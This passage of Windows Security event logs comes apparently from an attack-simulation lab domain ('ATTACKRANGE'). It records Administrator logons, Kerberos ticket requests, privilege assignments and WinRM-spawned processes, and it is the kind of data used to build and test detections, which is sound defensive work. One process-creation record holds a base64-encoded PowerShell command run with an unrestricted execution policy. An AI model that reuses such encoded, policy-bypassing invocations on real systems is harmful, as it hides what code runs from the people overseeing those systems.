Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1232FA - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {3EA04D4E-AD15-DC24-C281-8A13AC7C01FE} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250987 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {3EA04D4E-AD15-DC24-C281-8A13AC7C01FE} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=250986 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {3EA04D4E-AD15-DC24-C281-8A13AC7C01FE} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=250985 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250984 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1230AA - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1158 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xf28 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250983 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1230AA - -Process Information: - New Process ID: 0xf28 - New Process Name: C:\Windows\System32\winrshost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1e0 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: C:\Windows\system32\WinrsHost.exe -Embedding - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250982 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1230AA - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250981 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1230AA - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {3EA04D4E-AD15-DC24-C281-8A13AC7C01FE} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250980 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {3EA04D4E-AD15-DC24-C281-8A13AC7C01FE} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=250979 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {3EA04D4E-AD15-DC24-C281-8A13AC7C01FE} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=250978 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251077 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x126BDA - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251076 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x126BDA - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {EA936317-7890-C888-F915-FC03989DB212} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251075 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {EA936317-7890-C888-F915-FC03989DB212} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=251074 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {EA936317-7890-C888-F915-FC03989DB212} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=251073 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=251072 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x12528E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x11a4 - New Process Name: C:\Windows\System32\chcp.com - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x126c - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\system32\chcp.com" 65001 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=251071 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x12528E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x126c - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x10b0 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA== - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251070 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x125EF6 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251069 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x125EF6 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64500 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251068 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x125EF6 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251067 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x125E74 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251066 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x125E74 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64499 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251065 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x125E74 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251064 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x125D7E - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:37 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info 